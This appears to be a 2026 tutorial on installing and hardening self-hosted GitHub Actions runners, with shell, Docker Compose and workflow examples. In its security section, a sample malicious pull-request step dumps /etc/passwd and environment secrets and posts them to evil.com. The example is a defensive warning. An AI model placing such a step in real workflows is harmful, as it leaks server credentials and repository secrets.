How to Set Up a Self-Hosted GitHub Actions Runner 2026
TL;DR
Self-hosted GitHub Actions runners let you run CI/CD on your own hardware — saving money on GitHub Actions minutes, accessing private networks, using custom software, or getting larger machines. Setup takes ~20 minutes. Security warning: only use self-hosted runners for private repositories. A malicious pull request on a public repo could execute arbitrary code on your server.
Key Takeaways
- GitHub Actions minutes: Free plan = 2,000 min/month, Pro = 3,000 — self-hosted runners are free and unlimited
- When to self-host: GPU workloads, access to private databases, custom toolchains, cost savings on high-volume CI
- When NOT to: Public repos (security risk), low-volume repos (GitHub-hosted is simpler)
- Docker-based setup is the cleanest — ephemeral containers, isolated environments
- Security critical: disable self-hosted runners for public repos, use job isolation, rotate tokens
Why Self-Host a Runner?
Cost
GitHub-hosted runners charge by the minute once you exceed your monthly allowance:
- ubuntu-latest: $0.008/minute
- windows-latest: $0.016/minute
- macOS-latest: $0.08/minute
A team running 30 minutes of tests per commit × 50 commits/day = 1,500 minutes/day = 45,000 minutes/month. At $0.008/minute, that's $360/month. A $30/month VPS running a self-hosted runner reduces that to near zero.
Hardware and Network Access
- GPU workloads: Run ML training/inference tests on your own GPU server
- Private network access: Run integration tests against internal databases, services
- Custom software: Pre-install compilers, proprietary tools, large model weights
- Larger machines: GitHub's largest hosted runner is 64-core; your VPS can be anything
Part 1: Register a Self-Hosted Runner
Repository-Level Runner
- Go to your GitHub repo → Settings → Actions → Runners
- Click New self-hosted runner
- Select your OS (Linux recommended)
- GitHub shows you the registration commands — copy the token (valid for 1 hour)
Organization-Level Runner (Recommended for Teams)
- GitHub Org → Settings → Actions → Runners
- Create runner at org level → all repos in the org can use it
Part 2: Installation — Standard Method
On your VPS (Ubuntu recommended):
# Create a dedicated user for the runner (never run as root):
sudo useradd -m -s /bin/bash github-runner
sudo su - github-runner
# Create a directory for the runner:
mkdir actions-runner && cd actions-runner
# Download the latest runner (check github.com/actions/runner for latest version):
curl -o actions-runner-linux-x64-2.321.0.tar.gz -L \
https://github.com/actions/runner/releases/download/v2.321.0/actions-runner-linux-x64-2.321.0.tar.gz
# Extract:
tar xzf ./actions-runner-linux-x64-2.321.0.tar.gz
# Configure (use the token from GitHub UI):
./config.sh \
--url https://github.com/YOUR_ORG_OR_USER/YOUR_REPO \
--token YOUR_REGISTRATION_TOKEN \
--name my-vps-runner \
--labels self-hosted,linux,x64,my-vps \
--unattended
# Install as a systemd service:
sudo ./svc.sh install github-runner
sudo ./svc.sh start
# Verify it's running:
sudo ./svc.sh status
Your runner now appears as Online in GitHub's runner list.
Part 3: Docker-Based Runner (Recommended)
A Docker-based runner provides better isolation — each job runs in a fresh container. This is the production-grade approach.
docker-compose.yml
# docker-compose.yml for self-hosted runner:
version: '3.8'
services:
github-runner:
image: myoung34/github-runner:latest
restart: unless-stopped
environment:
REPO_URL: https://github.com/YOUR_ORG/YOUR_REPO
RUNNER_TOKEN: ${RUNNER_TOKEN}
RUNNER_NAME: my-docker-runner
RUNNER_WORKDIR: /tmp/github-runner
RUNNER_SCOPE: repo # or 'org' for org-level
LABELS: self-hosted,linux,x64,docker
EPHEMERAL: "true" # Remove runner after each job (recommended)
volumes:
- /var/run/docker.sock:/var/run/docker.sock # For Docker-in-Docker
- /tmp/github-runner:/tmp/github-runner
# Start with your GitHub token:
RUNNER_TOKEN=your-token docker compose up -d
Security note on Docker socket mounting: Mounting
/var/run/docker.sockgives the runner Docker access — equivalent to root on the host. Avoid this for untrusted contributors. For private repos with trusted teams, it's a reasonable trade-off.
Multiple Concurrent Runners
Scale to handle parallel jobs:
version: '3.8'
services:
runner-1:
image: myoung34/github-runner:latest
environment: &runner-env
REPO_URL: https://github.com/YOUR_ORG/YOUR_REPO
RUNNER_TOKEN: ${RUNNER_TOKEN}
RUNNER_SCOPE: org
LABELS: self-hosted,linux,x64
EPHEMERAL: "true"
volumes: &runner-volumes
- /var/run/docker.sock:/var/run/docker.sock
- /tmp/runner-1:/tmp/github-runner
runner-2:
image: myoung34/github-runner:latest
environment: *runner-env
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- /tmp/runner-2:/tmp/github-runner
Part 4: Use the Runner in Workflows
Target Your Self-Hosted Runner
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
jobs:
test:
# Use your self-hosted runner:
runs-on: [self-hosted, linux, x64]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm test
Fallback to GitHub-Hosted
If your self-hosted runner is offline, jobs will queue. For critical workflows, define a matrix:
jobs:
test:
strategy:
matrix:
runner: [ubuntu-latest, [self-hosted, linux, my-vps]]
runs-on: ${{ matrix.runner }}
Access Private Resources
The main reason to self-host — your runner can access internal services:
jobs:
integration-test:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v4
- name: Run integration tests
env:
# Your internal database — not accessible from GitHub-hosted runners
DATABASE_URL: postgresql://user:pass@internal-db:5432/testdb
REDIS_URL: redis://internal-redis:6379
run: npm run test:integration
Part 5: Security Hardening
⚠️ Never Use Self-Hosted Runners for Public Repos
This is the most critical rule. A malicious PR could contain:
# Malicious workflow in a PR to a public repo:
- name: "Steal server credentials"
run: |
cat /etc/passwd
env # Print all env vars including secrets
curl -X POST https://evil.com/exfil --data "$(env)"
For public repos: always use GitHub-hosted runners or ephemeral, isolated cloud runners.
Use Ephemeral Runners
Ephemeral runners are destroyed after each job — no state persists between jobs:
# In the config step, add --ephemeral:
./config.sh \
--url https://github.com/YOUR_ORG/YOUR_REPO \
--token YOUR_TOKEN \
--ephemeral # Runner deregisters after one job
Combined with an auto-scaling mechanism (or just multiple persistent Docker containers), this provides job isolation.
Restrict Runner Labels
Create specific labels and limit which workflows can use them:
# .github/workflows/deploy.yml
jobs:
deploy:
# Only this specific labeled runner can run this job:
runs-on: [self-hosted, production-deploy]
# Require environment approval before running:
environment: production
Then in GitHub repo settings: restrict the "production" environment to specific branches/users, requiring manual approval for production deployments.
Secrets Management
Never log secrets. Use GitHub's encrypted secrets:
steps:
- name: Deploy
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # Automatically masked in logs
run: ./deploy.sh
On the runner host, secrets are stored in memory and never written to disk by GitHub's runner agent.
Part 6: Maintenance
Monitor Runner Status
# Check runner service status:
sudo systemctl status actions.runner.*
# View runner logs:
journalctl -u actions.runner.* -f
# For Docker-based:
docker compose logs -f github-runner
Update the Runner
GitHub warns you when the runner falls behind the required version. Update via:
# Standard installation:
cd ~/actions-runner
sudo ./svc.sh stop
./config.sh remove --token YOUR_REMOVE_TOKEN # Get from GitHub Settings
# Re-download latest and reconfigure
# Docker-based — just pull new image:
docker compose pull && docker compose up -d
Auto-Registration Script
For teams managing multiple runners, automate registration:
#!/bin/bash
# auto-register-runner.sh
GITHUB_TOKEN=$1
REPO=$2
RUNNER_NAME=${3:-$(hostname)}
# Get registration token via GitHub API:
REG_TOKEN=$(curl -sX POST \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/repos/$REPO/actions/runners/registration-token" \
| jq .token -r)
./config.sh \
--url "https://github.com/$REPO" \
--token "$REG_TOKEN" \
--name "$RUNNER_NAME" \
--labels "self-hosted,linux,x64" \
--unattended \
--ephemeral
sudo ./svc.sh install
sudo ./svc.sh start
When to Use Self-Hosted vs GitHub-Hosted
| Use Case | Recommendation |
|---|---|
| Public OSS repo | GitHub-hosted (always) |
| Small private repo, < 3K min/month | GitHub-hosted (simpler) |
| High-volume CI (> 5K min/month) | Self-hosted (cost) |
| Private network access needed | Self-hosted (only option) |
| GPU workloads | Self-hosted |
| Custom software/large caches | Self-hosted |
| Security-sensitive workflows | GitHub-hosted (or ephemeral cloud runners) |
More open source DevOps tools at OSSAlt.com/categories/devops.